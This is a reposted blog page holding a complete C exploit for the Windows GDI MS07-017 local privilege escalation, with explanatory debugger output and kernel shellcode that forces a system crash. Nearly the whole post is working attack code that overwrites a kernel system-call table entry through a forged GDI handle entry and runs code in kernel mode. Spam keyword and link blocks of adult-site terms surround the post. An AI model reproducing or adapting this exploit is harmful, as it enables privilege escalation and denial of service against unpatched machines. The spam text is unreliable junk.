青青草原综合久久大伊人导航_色综合久久天天综合_日日噜噜夜夜狠狠久久丁香五月_热久久这里只有精品

elva

MS Windows GDI Local Privilege Escalation Exploit (MS07-017)

#define _WIN32_WINNT 0x0500
#include <windows.h>
#include <shlwapi.h>
#include <stdio.h>

#pragma comment (lib, "user32.lib")
#pragma comment (lib, "gdi32.lib")
#pragma comment (lib, "shlwapi.lib")
#pragma comment (lib, "ntdll.lib")



/*
Here is a sploit for the GDI MS07-017 Local Privilege Escalation, presented during the last blackhat conferences
by Joel Ericksson. Modify the GdiTable of the current process and by calling good API's changean entry of the
win32k's SSDT by 0x2.

before :
lkd> dps bf998300 L 2
bf998300  bf934921 win32k!NtGdiAbortDoc
bf998304  bf94648d win32k!NtGdiAbortPath

after :
lkd> dps bf998300 L 2
bf998300  00000002
bf998304  bf94648d win32k!NtGdiAbortPath

win32k.sys bDeleteBrush (called by DeleteObject)
mov     esi, [edx] ;esi=pKernelInfo
cmp     [esi+4], ebx ; ebx=0, we need [esi+4]>0
mov     eax, [edx+0Ch]
mov     [ebp+var_8], eax
ja      short loc_BF80C1E7 ;jump if [esi+4] > 0

loc_BF80C1E7:
mov     eax, [esi+24h]  ; [esi+24] = addr to hijack (here win32k SSDT)
mov     dword ptr [eax], 2 ; !!!!!

At 0x2 we allocate memory with NtAllocateVirtualMemory and we copy our payload.

Tested on windows xp sp2 french last updates (before MS07-017)

Coded by Ivanlef0u.
http://ivanlef0u.free.fr

ref:
http://www.Mcft.com/technet/security/bulletin/MS07-017.mspx
http://research.eeye.com/html/alerts/zeroday/20061106.html
http://projects.info-pull.com/mokb/MOKB-06-11-2006.html
https://www.blackhat.com/presentations/bh-eu-07/Eriksson-Janmar/Whitepaper/bh-eu-07-eriksson-WP.pdf
http://www.securityfocus.com/bid/20940/info
*/

typedef struct
{
   DWORD pKernelInfo;
   WORD  ProcessID;
   WORD  _nCount;
   WORD  nUpper;
   WORD  nType;
   DWORD pUserInfo;
} GDITableEntry;

typedef enum _SECTION_INFORMATION_CLASS {
SectionBasicInformation,
SectionImageInformation
}SECTION_INFORMATION_CLASS;

typedef struct _SECTION_BASIC_INFORMATION { // Information Class 0
PVOID BaseAddress;
ULONG Attributes;
LARGE_INTEGER Size;
}SECTION_BASIC_INFORMATION, *PSECTION_BASIC_INFORMATION;

extern "C" ULONG __stdcall NtQuerySection(
   IN HANDLE SectionHandle,
   IN SECTION_INFORMATION_CLASS SectionInformationClass,
   OUT PVOID SectionInformation,
   IN ULONG SectionInformationLength,
   OUT PULONG ResultLength OPTIONAL
);

extern "C" ULONG __stdcall NtAllocateVirtualMemory(
   IN HANDLE ProcessHandle,
   IN OUT PVOID *BaseAddress,
   IN ULONG ZeroBits,
   IN OUT PULONG AllocationSize,
   IN ULONG AllocationType,
   IN ULONG Protect
);

typedef LONG NTSTATUS;

#define STATUS_SUCCESS  ((NTSTATUS)0x00000000L)
#define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xC0000004L)

typedef struct _UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING, *PUNICODE_STRING;

typedef enum _SYSTEM_INFORMATION_CLASS {
SystemModuleInformation=11,
} SYSTEM_INFORMATION_CLASS;

typedef struct _SYSTEM_MODULE_INFORMATION { // Information Class 11
ULONG Reserved[2];
PVOID Base;
ULONG Size;
ULONG Flags;
USHORT Index;
USHORT Unknown;
USHORT LoadCount;
USHORT ModuleNameOffset;
CHAR ImageName[256];
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;

extern "C" NTSTATUS __stdcall  NtQuerySystemInformation(         
   IN SYSTEM_INFORMATION_CLASS SystemInformationClass,
   IN OUT PVOID SystemInformation,
   IN ULONG SystemInformationLength,
   OUT PULONG ReturnLength OPTIONAL
);

extern "C" ULONG __stdcall RtlNtStatusToDosError(
  NTSTATUS Status
);


// generic kernel payload, reboot the b0x
unsigned char Shellcode[]={
0x60, //PUSHAD
0x55, //PUSH EBP

0x6A, 0x34,
0x5B,
0x64, 0x8B, 0x1B,
0x8B, 0x6B, 0x10,

0x8B, 0x45, 0x3C,
0x8B, 0x54, 0x05, 0x78,
0x03, 0xD5,
0x8B, 0x5A, 0x20,
0x03, 0xDD,
0x8B, 0x4A, 0x18,
0x49,
0x8B, 0x34, 0x8B,
0x03, 0xF5,
0x33, 0xFF,
0x33, 0xC0,
0xFC,
0xAC,
0x84, 0xC0,
0x74, 0x07,
0xC1, 0xCF, 0x0D,
0x03, 0xF8,
0xEB, 0xF4,
0x81, 0xFF, 0x1f, 0xaa ,0xf2 ,0xb9, //0xb9f2aa1f, KEBugCheck
0x75, 0xE1,
0x8B, 0x42, 0x24,
0x03, 0xC5,
0x66, 0x8B, 0x0C, 0x48,
0x8B, 0x42, 0x1C,
0x03, 0xC5,
0x8B, 0x04 ,0x88,
0x03, 0xC5,

0x33, 0xDB,
0xB3, 0xE5,
0x53,
0xFF, 0xD0,

0x5D, //POP EBP
0x61, //POPAD
0xC3 //RET
};   


ULONG GetWin32kBase()
{
   ULONG i, Count, Status, BytesRet;
   PSYSTEM_MODULE_INFORMATION pSMI;
   
   Status=NtQuerySystemInformation(SystemModuleInformation, pSMI, 0, &BytesRet); //allocation length
   if(Status!=STATUS_INFO_LENGTH_MISMATCH)
      printf("Error with NtQuerySystemInformation : 0x%x : %d \n", Status, RtlNtStatusToDosError(Status));
   
   pSMI=(PSYSTEM_MODULE_INFORMATION)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, BytesRet);
   
   Status=NtQuerySystemInformation(SystemModuleInformation, pSMI, BytesRet, &BytesRet);
   
   if(Status!=STATUS_SUCCESS)
      printf("Error with NtQuerySystemInformation : 0x%x : %d \n", Status, RtlNtStatusToDosError(Status));
   
   /*
   The data returned to the SystemInformation buffer is a ULONG count of the number of
   handles followed immediately by an array of
   SYSTEM_MODULE_INFORMATION.
   */
   
   Count=*(PULONG)pSMI;
   pSMI=(PSYSTEM_MODULE_INFORMATION)((PUCHAR)pSMI+4);
   
   for(i=0; i<Count; i++)
   {   
      if(StrStr((pSMI+i)->ImageName, "win32k.sys"))
         return (ULONG)(pSMI+i)->Base;
   }
   
   HeapFree(GetProcessHeap(), HEAP_NO_SERIALIZE, pSMI);
   
   return 0;   
}   



   
ULONG buff[500]={0};
   
int main(int argc, char* argv[])
{
   ULONG i, PID, Status, Old;
   LPVOID lpMapAddress=NULL;
   HANDLE hMapFile=(HANDLE)0x10;
   GDITableEntry *gdiTable;
   SECTION_BASIC_INFORMATION SBI;
   WORD Upr;
   ULONG Size=0x1000;
   PVOID Addr=(PVOID)0x2;
   
   printf("Windows GDI MS07-017 Local Privilege Escalation Exploit\nBy Ivanlef0u\n"
   "http://ivanlef0u.free.fr\n"
   "Be MAD!\n");
   
   //allocate memory at addresse 0x2
    Status=NtAllocateVirtualMemory((HANDLE)-1, &Addr, 0, &Size, MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN, PAGE_EXECUTE_READWRITE);
    if(Status)
       printf("Error with NtAllocateVirtualMemory : 0x%x\n", Status);
    else
       printf("Addr : 0x%x OKAY\n", Addr);   
   
   memcpy(Addr, Shellcode, sizeof(Shellcode));
   


    printf("win32.sys base : 0x%x\n", GetWin32kBase());
   
   ULONG Win32kSST=GetWin32kBase()+0x198300; //range between win32k imagebase and it's SSDT
   printf("SSDT entry : 0x%x\n", Win32kSST); //win32k!NtGdiAbortDoc
   
   
   
   HBRUSH hBr;
   hBr=CreateSolidBrush(0);

   Upr=(WORD)((DWORD)hBr>>16);
   printf("0x%x\n", Upr);

   while(!lpMapAddress)
   {
      hMapFile=(HANDLE)((ULONG)hMapFile+1);
      lpMapAddress=MapViewOfFile(hMapFile, FILE_MAP_ALL_ACCESS, 0, 0, 0);
   }

   if(lpMapAddress==NULL)
   {
      printf("Error with MapViewOfFile : %d\n", GetLastError());
      return 0;
   }

   Status=NtQuerySection(hMapFile, SectionBasicInformation, &SBI, sizeof(SECTION_BASIC_INFORMATION), 0);
   if (Status) //!=STATUS_SUCCESS (0)
   {
      printf("Error with NtQuerySection (SectionBasicInformation) : 0x%x\n", Status);
      return 0;
   }

   printf("Handle value : %x\nMapped address : 0x%x\nSection size : 0x%x\n\n", hMapFile, lpMapAddress, SBI.Size.QuadPart);
   gdiTable=(GDITableEntry *)lpMapAddress;
   PID=GetCurrentProcessId();
   
   for (i=0; i<SBI.Size.QuadPart; i+=sizeof(GDITableEntry))
   {
      if(gdiTable->ProcessID==PID && gdiTable->nUpper==Upr) //only our GdiTable and brush
      {   

         printf("gdiTable : 0x%x\n", gdiTable);
         printf("pKernelInfo : 0x%x\n", gdiTable->pKernelInfo);
         printf("ProcessID : %d\n", gdiTable->ProcessID);
         printf("_nCount : %d\n", gdiTable->_nCount);
         printf("nUpper : 0x%x\n", gdiTable->nUpper);
         printf("nType : 0x%x\n", gdiTable->nType );
         printf("pUserInfo : 0x%x\n\n", gdiTable->pUserInfo);
         
         Old=gdiTable->pKernelInfo;
      
         gdiTable->pKernelInfo=(ULONG)buff; //crafted buff
         break;
      }
      gdiTable++;
   }

   if(!DeleteObject(hBr))
      printf("Error with DeleteObject : %d\n", GetLastError());
   else
      printf("Done\n");

   printf("Buff : 0x%x\n", buff);
   memset(buff, 0x90, sizeof(buff));
   
    buff[0]=0x1; //!=0
    buff[0x24/4]=Win32kSST; //syscall to modifY
   buff[0x4C/4]=0x804D7000; //kernel base, just for avoiding bad mem ptr

    if(!DeleteObject(hBr))
      printf("Error with DeleteObject : %d\n", GetLastError());   
      
   gdiTable->pKernelInfo=Old; //restore old value
   
   /*   
   lkd> uf GDI32!NtGdiAbortDoc
   GDI32!NtGdiAbortDoc:
   77f3073a b800100000      mov     eax,1000h
   77f3073f ba0003fe7f      mov     edx,offset SharedUserData!SystemCallStub (7ffe0300)
   77f30744 ff12            call    dword ptr [edx]
   77f30746 c20400          ret     4
   */

   __asm
   {
      mov eax, 0x1000
      mov edx,0x7ffe0300
      call dword ptr [edx]   
   }
   
   return 0;
}

download

posted on 2007-05-08 16:49 葉子 閱讀(792) 評論(0)  編輯 收藏 引用 所屬分類: 網絡安全

青青草原综合久久大伊人导航_色综合久久天天综合_日日噜噜夜夜狠狠久久丁香五月_热久久这里只有精品
  • <ins id="pjuwb"></ins>
    <blockquote id="pjuwb"><pre id="pjuwb"></pre></blockquote>
    <noscript id="pjuwb"></noscript>
          <sup id="pjuwb"><pre id="pjuwb"></pre></sup>
            <dd id="pjuwb"></dd>
            <abbr id="pjuwb"></abbr>
            亚洲人成亚洲人成在线观看| 国一区二区在线观看| 日韩一级免费| 老鸭窝亚洲一区二区三区| 久久av一区二区三区漫画| 欧美一区中文字幕| 久久久精品国产99久久精品芒果| 欧美一区视频| 久久午夜精品| 亚洲国产日韩在线一区模特| 亚洲激情啪啪| 亚洲国产视频一区| 亚洲大片av| 欧美一区二区三区免费大片| 午夜激情亚洲| 久久精品盗摄| 老司机精品视频一区二区三区| 可以看av的网站久久看| 亚洲第一主播视频| 国产精品99久久久久久人| 亚洲综合成人在线| 久久久精品一区| 欧美高清不卡| 国产精品嫩草影院av蜜臀| 国产综合18久久久久久| 亚洲精品乱码久久久久久蜜桃麻豆| 一区二区三区精品在线| 久久久久久久久久久久久女国产乱| 亚洲国产福利在线| 欧美在线免费观看视频| 欧美在线视屏| 亚洲第一福利在线观看| 宅男在线国产精品| 久久久久.com| 欧美日韩国产精品一区| 国产女主播在线一区二区| 亚洲缚视频在线观看| 亚洲欧美日韩在线高清直播| 欧美一区二区三区免费视频| 欧美成人dvd在线视频| 在线亚洲一区观看| 久久在线视频| 亚洲欧美日本另类| 亚洲精品免费在线| 国产在线精品成人一区二区三区| 国内精品一区二区三区| 999在线观看精品免费不卡网站| 欧美在线视频不卡| 亚洲精品久久久久久久久久久| 午夜国产精品视频免费体验区| 久热精品视频在线| 国产日韩欧美综合| 午夜精品区一区二区三| 99精品视频免费观看视频| 久久久久久69| 国产精品免费小视频| 午夜亚洲视频| 欧美精品一卡| 亚洲综合精品| 91久久综合| 亚洲成人直播| 午夜精品av| 国产精品九九| 亚洲午夜国产成人av电影男同| 欧美电影免费观看大全| 亚洲一区二区网站| 亚洲国产欧美久久| 欧美1区3d| 久久精品国产在热久久| 国产日韩欧美精品| 欧美成人性生活| 免费日韩av片| 久久精品国产久精国产思思 | 激情久久久久| 亚洲视频久久| 国产一区二区电影在线观看| 国产一区视频网站| 国产自产高清不卡| 久久狠狠婷婷| 午夜亚洲影视| 国产老女人精品毛片久久| 亚洲欧美日韩天堂| 欧美怡红院视频| 国产乱肥老妇国产一区二| 欧美在线播放一区二区| 性欧美超级视频| 亚洲激情视频网站| 99精品视频免费全部在线| 国产女人精品视频| 久久色在线播放| 欧美高清免费| 午夜免费日韩视频| 久久久久久午夜| 一区二区不卡在线视频 午夜欧美不卡在 | 日韩亚洲在线| 亚洲一区二区三区乱码aⅴ蜜桃女| 国产欧美日韩精品丝袜高跟鞋| 久久综合久色欧美综合狠狠| 另类国产ts人妖高潮视频| 日韩一区二区免费高清| 欧美一区观看| 激情综合自拍| 欧美激情四色 | 亚洲国产精品美女| 欧美高潮视频| 亚洲一区成人| 亚洲欧美国产精品桃花 | 亚洲综合国产激情另类一区| 小黄鸭视频精品导航| 亚洲精品乱码久久久久久蜜桃91 | 欧美xart系列高清| 国产精品www色诱视频| 免费视频久久| 国产精品毛片| 亚洲精品视频在线观看免费| 国产在线观看一区| 亚洲天堂偷拍| 亚洲第一在线综合在线| 亚洲免费影视| 中国成人黄色视屏| 欧美xx视频| 六月婷婷久久| 国产欧美日韩精品专区| 亚洲美女精品成人在线视频| 国产精品免费网站| 亚洲免费激情| 亚洲国产精品一区在线观看不卡| 亚洲一区高清| 亚洲欧美国产一区二区三区| 欧美成人免费全部| 欧美综合国产| 欧美激情第一页xxx| 欧美视频在线免费| 久久九九99| 国产精品久久久久久av福利软件| 免费人成精品欧美精品| 国产日韩欧美中文在线播放| 亚洲一区二区在线观看视频| 在线视频亚洲欧美| 欧美精品在线观看播放| 欧美激情精品久久久久久变态| 亚洲高清在线播放| 免费观看30秒视频久久| 久久婷婷av| 亚洲国产成人精品久久| 久久久欧美精品sm网站| 免费观看一区| 国产欧美一区二区精品婷婷| 午夜精品视频在线观看| 久久精品日韩一区二区三区| 老司机67194精品线观看| 久久婷婷国产麻豆91天堂| 国产一级久久| 久久在线观看视频| 亚洲黄色影院| 国产精品亚洲综合色区韩国| 亚洲人在线视频| 亚洲午夜精品17c| 亚洲欧美日韩在线观看a三区| 亚洲欧美视频在线观看视频| 亚洲无限av看| 蜜臀av性久久久久蜜臀aⅴ四虎| 久久综合999| 日韩一级黄色av| 欧美日韩精品综合| 欧美日韩在线播放一区| 亚洲国产精品久久久久婷婷老年 | 一本色道久久综合亚洲精品婷婷 | 久久久久在线观看| 久久亚洲精选| 久久蜜臀精品av| 亚洲啪啪91| 久久精品99| 老司机精品导航| 亚洲午夜女主播在线直播| 欧美一区二区三区视频在线| 久久久久国产精品一区二区| 在线观看日韩欧美| 欧美日本一区二区三区| 午夜精品久久久久久久蜜桃app| 国产精品日韩欧美综合| 久久婷婷av| 日韩亚洲精品在线| 国产毛片一区| 欧美99在线视频观看| 亚洲天堂激情| 欧美国产精品日韩| 午夜精品久久久久久久白皮肤| 精品不卡在线| 欧美视频免费| 久久野战av| 久久精品视频99| 激情懂色av一区av二区av| 午夜一区在线| 久久久久久午夜| 91久久线看在观草草青青| 亚洲精华国产欧美| 你懂的亚洲视频| 91久久精品国产91久久性色| 久久中文字幕一区二区三区|